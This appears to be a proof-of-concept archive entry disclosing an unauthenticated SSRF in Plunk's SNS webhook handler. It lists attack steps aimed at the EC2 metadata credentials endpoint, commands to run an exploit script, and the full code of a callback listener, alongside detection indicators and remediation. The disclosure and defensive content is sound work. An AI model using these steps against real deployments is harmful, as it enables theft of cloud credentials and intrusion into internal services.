PoC Archive PoC Archive
Critical CVE-2026-32096 unpatched

Plunk SSRF via Unvalidated AWS SNS SubscriptionConfirmation — CVE-2026-32096

by Andre Hu (andrebhu) · 2026-07-05

CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-32096
Category
cloud
Affected product
Plunk (useplunk/plunk) email/webhook API
Affected versions
Versions with unpatched apps/api/src/controllers/Webhooks.ts POST /webhooks/sns handler
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherAndre Hu (andrebhu)
CVE / AdvisoryCVE-2026-32096
Categorycloud
SeverityCritical
CVSS Score9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N)
StatusPoC
Tagsssrf, aws-sns, imds, cloud-metadata, plunk, cwe-918, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemPlunk (useplunk/plunk) email/webhook API
Versions AffectedVersions with unpatched apps/api/src/controllers/Webhooks.ts POST /webhooks/sns handler
Language / PlatformTypeScript/Node.js target; Bash + Python 3 PoC tooling
Authentication RequiredNo
Network Access RequiredYes

Summary

Plunk’s POST /webhooks/sns endpoint is meant to handle AWS SNS subscription confirmation callbacks, but it fetches the attacker-supplied SubscribeURL field directly via fetch() without ever verifying the AWS SNS message signature. Because the endpoint requires no authentication and accepts arbitrary JSON, an attacker can forge a SubscriptionConfirmation message pointing SubscribeURL at any host, forcing the Plunk server to issue an outbound HTTP request on the attacker’s behalf. This is a classic full SSRF that can be used to reach cloud instance metadata services, internal-only APIs, or other non-internet-exposed infrastructure.


Vulnerability Details

Root Cause

Webhooks.ts calls await fetch(req.body.SubscribeURL) whenever req.body.Type === 'SubscriptionConfirmation', with no validation that the request actually originated from AWS SNS (no signature check) and no allowlisting of destination hosts (CWE-918).

Attack Vector

  1. Attacker sends an unauthenticated POST /webhooks/sns request with Type: "SubscriptionConfirmation" and a forged SubscribeURL pointing at an attacker-controlled listener or an internal/cloud-metadata address.
  2. The Plunk server calls fetch(SubscribeURL) server-side with no signature or destination validation.
  3. If the attacker’s listener is the target, it receives a confirmation hit proving SSRF; if the target is http://169.254.169.254/latest/meta-data/iam/security-credentials/, the response (in a real AWS-hosted deployment) leaks IAM role names and can be chained to steal temporary credentials.
  4. Repeat against internal hostnames/ports to enumerate reachable internal services.

Impact

Full-response SSRF allowing theft of cloud IAM credentials via IMDS, access to internal-only services (databases, Redis, Kubernetes API), and internal network port scanning — all pre-authentication.


Environment / Lab Setup

Target:   useplunk/plunk API (Postgres + Redis + Plunk containers via docker-compose)
Attacker: Docker & Docker Compose, Python 3, bash, curl

Proof of Concept

PoC Script

See exploit.sh, listener.py, and docker-compose.yml in this folder.

1
2
3
4
docker compose up -d
python3 listener.py
chmod +x exploit.sh
./exploit.sh

docker-compose.yml stands up a local Plunk instance; listener.py runs an SSRF callback catcher; exploit.sh POSTs a forged SubscriptionConfirmation payload to /webhooks/sns and also fires a bonus request targeting the EC2 IMDS path to illustrate real-world impact.


Detection & Indicators of Compromise

POST /webhooks/sns {"Type":"SubscriptionConfirmation","SubscribeURL":"http://<non-aws-host>/..."}

Signs of compromise:

  • Server-originated outbound HTTP requests to non-AWS, attacker-controlled, or internal-only hosts shortly after a /webhooks/sns call.
  • SubscribeURL values in webhook payloads that do not match *.amazonaws.com SNS confirmation URL patterns.
  • Anomalous IMDS (169.254.169.254) traffic originating from the application server process.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; validate the AWS SNS message signature before fetching SubscribeURL
Interim mitigationRestrict outbound egress from the API host (block IMDSv1/require IMDSv2 with hop-limit, deny access to internal RFC1918 ranges), and allowlist SubscribeURL to *.amazonaws.com hosts only.

References


Notes

Mirrored from https://github.com/andrebhu/CVE-2026-32096 on 2026-07-05.

listener.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
"""
SSRF callback listener for Plunk SNS triage.

Logs every incoming request in full: method, path, headers, body.
Run this on the Docker host before firing the exploit:

    python3 listener.py [port]   # default: 8888

The exploit payload sets SubscribeURL to:
    http://host.docker.internal:8888/ssrf-hit
"""

import sys
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8888


class SSRFHandler(BaseHTTPRequestHandler):
    def _handle(self):
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length).decode("utf-8", errors="replace") if length else ""

        ts = datetime.now().strftime("%H:%M:%S.%f")[:-3]
        print(f"\n{'='*60}")
        print(f"[{ts}]  SSRF HIT RECEIVED")
        print(f"{'='*60}")
        print(f"  Method  : {self.command}")
        print(f"  Path    : {self.path}")
        print(f"  From    : {self.client_address[0]}:{self.client_address[1]}")
        print(f"\n  Headers:")
        for k, v in self.headers.items():
            print(f"    {k}: {v}")
        if body:
            print(f"\n  Body ({len(body)} bytes):")
            try:
                print("    " + json.dumps(json.loads(body), indent=2).replace("\n", "\n    "))
            except Exception:
                print(f"    {body}")
        print(f"{'='*60}\n")

        # Respond with a realistic SNS ConfirmSubscription XML payload
        response = b"""<ConfirmSubscriptionResponse>
  <ConfirmSubscriptionResult>
    <SubscriptionArn>arn:aws:sns:us-east-1:123456789012:ssrf-poc:attacker-controlled</SubscriptionArn>
  </ConfirmSubscriptionResult>
  <ResponseMetadata>
    <RequestId>attacker-ssrf-poc-request-id</RequestId>
  </ResponseMetadata>
</ConfirmSubscriptionResponse>"""
        self.send_response(200)
        self.send_header("Content-Type", "text/xml")
        self.send_header("Content-Length", str(len(response)))
        self.end_headers()
        self.wfile.write(response)

    do_GET = _handle
    do_POST = _handle

    def log_message(self, format, *args):
        pass  # suppress default access log — we print our own


if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", PORT), SSRFHandler)
    print(f"[*] SSRF listener running on 0.0.0.0:{PORT}")
    print(f"[*] Waiting for callbacks from Plunk container...")
    print(f"[*] Use Ctrl+C to stop\n")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Listener stopped.")